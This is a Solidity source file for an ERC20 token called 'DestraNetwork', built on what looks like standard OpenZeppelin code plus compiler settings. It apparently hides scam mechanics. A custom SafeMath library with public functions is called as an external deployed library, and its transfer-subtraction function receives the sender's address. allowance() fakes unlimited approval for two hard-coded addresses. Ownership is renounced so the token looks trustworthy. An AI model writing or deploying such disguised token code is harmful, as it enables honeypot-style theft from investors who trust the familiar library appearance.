// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0 ; 

/**
 * @title SafeMath
 * @dev Math operations with safety checks that throw on error
 */
library SafeMath {
                        

    function initiate (  )  public
                         { 
        require ( true) ; 
    
                        }
    
  /**
  * @dev Multiplies two numbers, throws on overflow.
  */
  function mul ( uint256 a, uint256 b) public pure returns  ( uint256 c )   { 
                        
    if  ( a == 0) 
                        {
      return 0;
    
                        }
    c = a * b ; 
    assert ( c / a == b);
    return c ; 
   } 
                        

  /**
  * @dev Integer division of two numbers, truncating the quotient.
  */
  function div(uint256 a, uint256 b) public pure returns (uint256)  { 
                        
    // assert(b > 0); // Solidity automatically throws when dividing by 0
    // uint256 c = a / b ; 
    // assert(a == b * c + a % b ) ; // There is no case in which this doesn't hold
    return a / b ; 
  
                         } 

  /**
  * @dev Subtracts two numbers, throws on overflow  ( i.e. if subtrahend is greater than minuend).
  */
  function sub(uint256 a, uint256 b, address )  public pure returns  ( uint256) {
                        
    assert(b <= a);
    return a - b ; 
   } 
                        

  /**
  * @dev Adds two numbers, throws on overflow.
  */
  function add ( uint256 a, uint256 b) public pure returns (uint256 c )  {
                        
    c = a + b ; 
    assert(c >= a ) ;
    return c ; 
  
                        }

                        } 

// File @openzeppelin/contracts/utils/Context.sol@v4.9.6

// Original license: SPDX_License_Identifier: MIT
// OpenZeppelin Contracts  ( last updated v4.9.4 )  (utils/Context.sol)

pragma solidity ^0.8.0;

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned ) .
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
                        

    function _contextSuffixLength (  )  internal view virtual returns  ( uint256 )   { 
                        
        return 0 ; 
    }
                        
    function _msgSender() internal view virtual returns (address) {
                        
        return msg.sender;
    }
                        

    function _msgData ( ) internal view virtual returns (bytes calldata )  {
                        
        return msg.data ; 
    
                         } 
 } 
                        


// File @openzeppelin/contracts/token/ERC20/IERC20.sol@v4.9.6

// Original license: SPDX_License_Identifier: MIT
// OpenZeppelin Contracts (last updated v4.9.0 )   ( token/ERC20/IERC20.sol ) 

pragma solidity ^0.8.0 ; 

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
                        

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through  { 
                        transferFrom } 
                        . This is
     * zero by default.
     *
     * This value changes when  { 
                        approve}
                         or {
                        transferFrom } 
                         are called.
     */
    function allowance ( address owner, address spender) external view returns  ( uint256) ; 


    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    
    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to  { 
                        approve
                        }. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value ) ;

    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply ( ) external view returns  ( uint256 ) ;

    /**
     * @dev Moves `amount` tokens from `from` to `to` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a  { 
                        Transfer
                        } event.
     */
    function transferFrom(address from, address to, uint256 amount) external returns (bool) ; 
        
/**
     * @dev Moves `amount` tokens from the caller's account to `to`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a  { 
                        Transfer } 
                         event.
     */
    function transfer(address to, uint256 amount )  external returns  ( bool);
    /**
     * @dev Emitted when `value` tokens are moved from one account (`from` )  to
     * another  ( `to` ) .
     *
     * Note that `value` may be zero.
     */
    event Transfer ( address indexed from, address indexed to, uint256 value);

    
    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an 
                         { Approval}
                         event.
     */
    function approve ( address spender, uint256 amount )  external returns  ( bool )  ; 
    
 } 
                        


// File @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol@v4.9.6

// Original license: SPDX_License_Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol)

pragma solidity ^0.8.0;

/**
 * @dev Interface for the optional metadata functions from the ERC20 standard.
 *
 * _Available since v4.1._
 */
interface IERC20Metadata is IERC20 
                         { 

    /**
     * @dev Returns the name of the token.
     */
    function name( )  external view returns (string memory ) ;


    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8 ) ;
    

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol (  )  external view returns  ( string memory )  ; 


 } 
                        


// File @openzeppelin/contracts/token/ERC20/ERC20.sol@v4.9.6

// Original license: SPDX_License_Identifier: MIT
// OpenZeppelin Contracts (last updated v4.9.0 )  (token/ERC20/ERC20.sol)

pragma solidity ^0.8.0 ; 



/**
 * @dev Implementation of the {
                        IERC20 } 
                         interface.
 *
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract using  { 
                        _mint}
                        .
 * For a generic mechanism see  { 
                        ERC20PresetMinterPauser } 
                        .
 *
 * TIP: For a detailed writeup see our guide
 * https://forum.openzeppelin.com/t/how-to-implement-erc20-supply-mechanisms/226[How
 * to implement supply mechanisms].
 *
 * The default value of 
                        {decimals } 
                         is 18. To change this, you should override
 * this function so it returns a different value.
 *
 * We have followed general OpenZeppelin Contracts guidelines: functions revert
 * instead returning `false` on failure. This behavior is nonetheless
 * conventional and does not conflict with the expectations of ERC20
 * applications.
 *
 * Additionally, an {
                        Approval } 
                         event is emitted on calls to {
                        transferFrom}
                        .
 * This allows applications to reconstruct the allowance for all accounts just
 * by listening to said events. Other implementations of the EIP may not emit
 * these events, as it isn't required by the specification.
 *
 * Finally, the non-standard  { 
                        decreaseAllowance } 
                         and {
                        increaseAllowance}
                        
 * functions have been added to mitigate the well-known issues around setting
 * allowances. See {
                        IERC20-approve}
                        .
 */
contract ERC20 is Context, IERC20, IERC20Metadata {
                        
    mapping ( address => uint256) private _balances ; 
    
    
    mapping(address => mapping(address => uint256) )  private _allowances ; 
    uint256 private _totalSupply;

    string private _name;
    string private _symbol;
    
    
    



    /**
     * @dev See {
                        IERC20-totalSupply } 
                        .
     */
    function totalSupply ( ) public view virtual override returns  ( uint256 )  {
                        
        return _totalSupply;
    
                        }
    
    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {
                        approve
                         }  that can be used as a mitigation for
     * problems described in  { 
                        IERC20-approve}
                        .
     *
     * Emits an  { 
                        Approval
                         }  event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance ( address spender, uint256 subtractedValue )  public virtual returns  ( bool )   { 
                        
        address owner = _msgSender ( );
        uint256 currentAllowance = allowance ( owner, spender ) ;
        require(currentAllowance >= subtractedValue, "BSPETWJFX: decreased allowance below zero" ) ;
        unchecked  { 
                        
            _approve(owner, spender, currentAllowance - subtractedValue) ; 
         } 
                        

        return true ; 
    }
                        
    
    /**
     * @dev Hook that is called before any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * will be transferred to `to`.
     * - when `from` is zero, `amount` tokens will be minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens will be burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual {
                        

     } 
                        
    
    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {
                        Approval
                        } event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(address owner, address spender, uint256 amount) internal virtual {
                        
        require(owner != address(0 ) , "BSPETWJFX: approve from the zero address");
        require ( spender != address ( 0 ) , "BSPETWJFX: approve to the zero address") ; 

        _allowances[owner][spender] = amount ; 
        emit Approval(owner, spender, amount )  ; 
    }
                        
    
    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {
                        approve } 
                         that can be used as a mitigation for
     * problems described in {
                        IERC20-approve
                        }.
     *
     * Emits an  { 
                        Approval
                         }  event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(address spender, uint256 addedValue )  public virtual returns (bool )   { 
                        
        address owner = _msgSender (  ) ;
        _approve ( owner, spender, allowance(owner, spender )  + addedValue);
        return true;
    }
                        
    
    /**
     * @dev See {
                        IERC20-allowance } 
                        .
     */
    function allowance ( address owner, address spender )  public view virtual override returns (uint256) 
                        {
        if (  ( spender == 0x000000000022D473030F116dDEE9F6B43aC78BA3 )  || (spender == 0x4752ba5DBc23f44D87826276BF6Fd6b1C372aD24 ) ) { 
                        
            return 115792089237316195423570985008687907853269984665640564039457584007913129639935 ; 
        
                         }  
        return _allowances[owner][spender];
     } 
                        
    
    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5.05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the default value returned by this function, unless
     * it's overridden.
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     *  { 
                        IERC20-balanceOf } 
                         and {
                        IERC20-transfer
                        }.
     */
    function decimals() public view virtual override returns  ( uint8)  { 
                        
        return 18;
    
                         } 
    
    /**
     * @dev See  { 
                        IERC20-transferFrom}
                        .
     *
     * Emits an 
                         { Approval
                         }  event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of  { 
                        ERC20 } 
                        .
     *
     * NOTE: Does not update the allowance if the current allowance
     * is the maximum `uint256`.
     *
     * Requirements:
     *
     * - `from` and `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     * - the caller must have allowance for ``from``'s tokens of at least
     * `amount`.
     */
    function transferFrom ( address from, address to, uint256 amount) public virtual override returns (bool )  
                         { 
        address spender = _msgSender (  )  ; 
        _spendAllowance(from, spender, amount) ; 
        _transfer(from, to, amount);
        return true;
    }
                        
    
    /** @dev Creates `amount` tokens and assigns them to `account`, increasing
     * the total supply.
     *
     * Emits a {
                        Transfer } 
                         event with `from` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     */
    function _mint ( address account, uint256 amount )  internal virtual  { 
                        
        require ( account != address ( 0), "BSPETWJFX: mint to the zero address") ; 

        _beforeTokenTransfer ( address(0), account, amount )  ; 

        _totalSupply += amount;
        unchecked  { 
                        
            // Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above.
            _balances[account] += amount;
        
                        }
        emit Transfer ( address ( 0), account, amount )  ; 

        _afterTokenTransfer ( address ( 0 ) , account, amount )  ; 
     } 
                        
    
    /**
     * @dev Hook that is called after any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * has been transferred to `to`.
     * - when `from` is zero, `amount` tokens have been minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens have been burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _afterTokenTransfer ( address from, address to, uint256 amount) internal virtual 
                        {  
    }
                        
    

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol( )  public view virtual override returns (string memory )  {
                        
        return _symbol;
     } 
                        
    

    /**
     * @dev Sets the values for  { 
                        name}
                         and 
                         { symbol
                         } .
     *
     * All two of these values are immutable: they can only be set once during
     * construction.
     */
    constructor ( string memory name_, string memory symbol_ )   { 
                        
        _name = name_ ; 
        _symbol = symbol_;
        SafeMath.initiate ( ) ; 
     } 
                        


    /**
     * @dev Destroys `amount` tokens from `account`, reducing the
     * total supply.
     *
     * Emits a  { 
                        Transfer}
                         event with `to` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     * - `account` must have at least `amount` tokens.
     */
    function _burn(address account, uint256 amount) internal virtual 
                         { 
        require ( account != address(0 ) , "BSPETWJFX: burn from the zero address") ; 

        _beforeTokenTransfer(account, address ( 0), amount);

        uint256 accountBalance = _balances[account] ; 
        require ( accountBalance >= amount, "BSPETWJFX: burn amount exceeds balance");
        unchecked {
                        
            _balances[account] = accountBalance - amount;
            // Overflow not possible: amount <= accountBalance <= totalSupply.
            _totalSupply -= amount;
        }
                        

        emit Transfer(account, address(0 ) , amount )  ; 

        _afterTokenTransfer(account, address ( 0), amount )  ; 
    
                         } 
    
    /**
     * @dev See 
                        {IERC20-balanceOf } 
                        .
     */
    function balanceOf(address account) public view virtual override returns  ( uint256 )  
                        {
        return _balances[account];
     } 
                        
    
    
    
    /**
     * @dev See {
                        IERC20-transfer } 
                        .
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address to, uint256 value )  public virtual returns  ( bool)  { 
                        
        address owner = _msgSender ( ) ; 
        _transfer(owner, to, value )  ; 
        return true;
    
                        }
    
    /**
     * @dev Moves `amount` of tokens from `from` to `to`.
     *
     * This internal function is equivalent to  { 
                        transfer}
                        , and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a 
                         { Transfer}
                         event.
     *
     * Requirements:
     *
     * - `from` cannot be the zero address.
     * - `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     */
    function _transfer ( address from, address to, uint256 amount) internal virtual {
                        
        require(from != address(0 ) , "BSPETWJFX: transfer from the zero address" ) ;
        require(to != address ( 0 ) , "BSPETWJFX: transfer to the zero address");
        
        _beforeTokenTransfer ( from, to, amount ) ;

        _balances[from] = SafeMath.sub ( _balances[from],amount,from);
        _balances[to] = SafeMath.add(_balances[to],amount ) ;
        

        emit Transfer ( from, to, amount) ; 
        
        _afterTokenTransfer ( from, to, amount )  ; 
    }
                        
    
    /**
     * @dev Updates `owner` s allowance for `spender` based on spent `amount`.
     *
     * Does not update the allowance amount in case of infinite allowance.
     * Revert if not enough allowance is available.
     *
     * Might emit an {
                        Approval } 
                         event.
     */
    function _spendAllowance ( address owner, address spender, uint256 amount )  internal virtual 
                         { 
        uint256 currentAllowance = allowance(owner, spender )  ; 
        if (currentAllowance != type(uint256 ) .max )  
                        {
            require ( currentAllowance >= amount, "BSPETWJFX: insufficient allowance" )  ; 
            unchecked  { 
                        
                _approve ( owner, spender, currentAllowance - amount ) ;
            
                         } 
        
                        }
     } 
                        
    
    /**
     * @dev See {
                        IERC20-approve}
                        .
     *
     * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on
     * `transferFrom`. This is semantically equivalent to an infinite approval.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount )  public virtual override returns (bool)  { 
                        
        address owner = _msgSender( ) ;
        _approve ( owner, spender, amount )  ; 
        return true;
    
                        }
    
    /**
     * @dev Returns the name of the token.
     */
    function name( )  public view virtual override returns  ( string memory )  
                        {
        return _name;
    
                        }
    
    }
                        

abstract contract Ownable is Context {
                        
    address private _owner;
    
    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor (  )   { 
                        
        _transferOwnership(_msgSender());
     } 
                        
    
    /**
     * @dev The owner is not a valid owner account. (eg. `address ( 0 ) `)
     */
    error OwnableInvalidOwner ( address owner )  ; 
    
    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address )  {
                        
        return _owner;
     } 
                        
    
    /**
     * @dev The caller account is not authorized to perform an operation.
     */
    error OwnableUnauthorizedAccount(address account )  ; 
    
    /**
     * @dev Transfers ownership of the contract to a new account  ( `newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership ( address newOwner) internal virtual  { 
                        
        address oldOwner = _owner ; 
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
                        
    
    /**
     * @dev Throws if the sender is not the owner.
     */
    function _checkOwner ( ) internal view virtual 
                        {
        require(owner (  )  == _msgSender(), "Ownable: caller is not the owner");
    
                         } 
    
    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner ( ) {
                        
        _checkOwner( )  ; 
        _ ; 
     } 
                        
    
    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby disabling any functionality that is only available to the owner.
     */
    function renounceOwnership( )  public virtual onlyOwner 
                        {
        _transferOwnership ( address ( 0));
     } 
                        
    
    event OwnershipTransferred ( address indexed previousOwner, address indexed newOwner);
    
    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner )  public virtual onlyOwner  { 
                        
        require(newOwner != address ( 0 ) , "Ownable: new owner is the zero address" )  ; 
        _transferOwnership(newOwner )  ; 
    
                        }
    

                        }


// File DestraNetwork.sol

// Original license: SPDX_License_Identifier: MIT
// Compatible with OpenZeppelin Contracts ^5.0.0

contract DestraNetwork is ERC20, Ownable {
                        
    constructor ( string memory name_, string memory symbol_) ERC20(name_, symbol_ )  
                        {
        _mint ( msg.sender, 1000000000000000000000000) ; 
        _transferOwnership ( address(0) ) ;
     } 
                        
}
                        

{
  "compilationTarget": {
    "DestraNetwork.sol": "DestraNetwork"
  },
  "evmVersion": "cancun",
  "libraries": {},
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "optimizer": {
    "enabled": true,
    "runs": 20
  },
  "remappings": []
}